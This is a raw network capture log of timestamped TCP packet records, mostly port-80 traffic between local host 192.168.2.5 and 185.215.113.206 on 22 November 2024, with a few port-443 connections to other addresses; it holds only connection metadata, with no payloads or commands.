Nov 22, 2024 00:11:55.404838085 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.404927969 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.404977083 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.405920982 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.405992031 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.406018972 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.406109095 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.407027006 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.407073021 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.407085896 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.407116890 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.408073902 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.408119917 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.408190966 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.408262014 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.409194946 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.409259081 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.409302950 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.409354925 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.410265923 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.410336018 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.410377979 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.410433054 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.411436081 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.411509991 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.411559105 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.411904097 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.412484884 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.412528992 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.412575006 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.412617922 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.555860043 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.555957079 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.555958986 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.556102991 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.556216955 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.556301117 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.556379080 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.557308912 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.557388067 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.557420969 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.557482004 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.558372974 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.558434010 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.558439970 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.558667898 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.560647011 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.560733080 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.560868979 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.560915947 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.561199903 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.561263084 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.561342955 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.561387062 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.562341928 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.562416077 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.562573910 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.562628984 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.563410997 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.563492060 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.563520908 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.563735962 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.564496040 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.564583063 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.564619064 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.564702988 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.565613985 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.565685034 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.565752983 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.565812111 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.566745043 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.566816092 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.566899061 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.566943884 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.567745924 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.567827940 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.567866087 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.568073034 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.568873882 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.568942070 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.568980932 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.569066048 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.569983959 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.570142984 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.570183992 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.570183992 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.571089029 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.571201086 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.571268082 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.572174072 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.572237015 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.572299957 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.572360039 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.573266029 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.573308945 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.573332071 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.573348999 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.574350119 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.574415922 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.574476957 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.574526072 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.575470924 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.575520039 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.575552940 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.575701952 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.576553106 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.576627970 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.576668024 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.576709032 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.577645063 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.577723980 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.577737093 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.577770948 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.578836918 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.578850985 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.578915119 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.579883099 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.579956055 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.579966068 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.580028057 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.580960035 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.581042051 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.581084013 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.581126928 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.582051039 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.582109928 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.582168102 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.583137989 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.583220959 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.583329916 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.583456993 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.584208012 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.584287882 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.584326029 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.584462881 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.585313082 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.585385084 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.585454941 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.585514069 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.586396933 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.586457968 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.586570978 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.586639881 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.587527037 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.587601900 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.587666988 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.587805033 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.588588953 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.588649035 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.588686943 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.588730097 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.589708090 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.589793921 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.589798927 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.589874983 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.590801001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.590883970 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.590955019 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.591906071 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.591976881 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.592040062 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.592222929 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.592986107 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.593056917 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.593094110 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.593142033 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.594113111 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.594177961 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.594187975 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.594259977 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.595184088 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.595204115 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.595241070 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.595264912 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.596307993 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.596389055 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.596455097 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.597444057 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.597498894 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.597511053 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.597588062 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.598493099 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.598553896 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.598592043 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.598864079 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.599555016 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.599658012 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.599689007 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.599720001 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.600666046 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.600732088 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.600754023 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.600797892 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.601741076 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.601811886 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.601813078 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.601852894 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.602834940 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.602977037 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.602982044 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.603092909 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.603962898 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.604038000 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.604072094 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.604120016 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.605057001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.605129004 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.605165958 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.605206966 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.606161118 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.606230974 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.606255054 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.606311083 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.607232094 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.607295036 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.607353926 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.607558012 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.608315945 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.608381987 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.608417988 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.608539104 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.609407902 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.609467030 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.609518051 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.609559059 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.610490084 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.610547066 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.610605001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.610655069 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.611599922 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.611681938 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.611787081 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.611915112 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.612685919 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.612761974 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.612773895 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.612880945 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.613779068 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.613857031 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.613862038 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.613946915 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.630630970 CET	49841	443	192.168.2.5	18.165.220.106
Nov 22, 2024 00:11:55.641643047 CET	443	49873	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.641915083 CET	49873	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:55.641944885 CET	443	49873	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.642378092 CET	443	49873	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.642862082 CET	49873	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:55.642929077 CET	443	49873	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.643168926 CET	49873	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:55.660815954 CET	443	49874	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:55.661437988 CET	49874	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:55.661458969 CET	443	49874	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:55.661914110 CET	49874	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:55.661919117 CET	443	49874	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:55.671338081 CET	443	49841	18.165.220.106	192.168.2.5
Nov 22, 2024 00:11:55.683336973 CET	443	49873	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.689311028 CET	49873	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:55.757236958 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.757328033 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.757374048 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.757421017 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.757787943 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.757886887 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.757941008 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.758868933 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.758936882 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.758965969 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.759004116 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.759934902 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.760004044 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.761914968 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.761985064 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.762022018 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.762064934 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.762671947 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.762708902 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.762746096 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.762763023 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.763616085 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.763634920 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.763665915 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.763695002 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.764681101 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.764758110 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.764790058 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.764887094 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.765811920 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.765825033 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.765861034 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.765888929 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.766942024 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.766956091 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.767028093 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.767951012 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.768059015 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.768121958 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.769062996 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.769193888 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.769224882 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.769242048 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.770199060 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.770253897 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.770293951 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.770394087 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.771258116 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.771322012 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.771379948 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.771429062 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.772341967 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.772444010 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.772475004 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.772490025 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.773478985 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.773535013 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.773660898 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.773813963 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.774594069 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.774668932 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.774697065 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.774861097 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.775650978 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.775832891 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.775897980 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.776731968 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.776783943 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.776951075 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.776992083 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.777853012 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.777901888 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.777940035 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.777983904 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.778961897 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.779012918 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.779063940 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.779119968 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.780004025 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.780055046 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.780098915 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.780138969 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.781100035 CET	80	49788	185.215.113.206	192.168.2.5
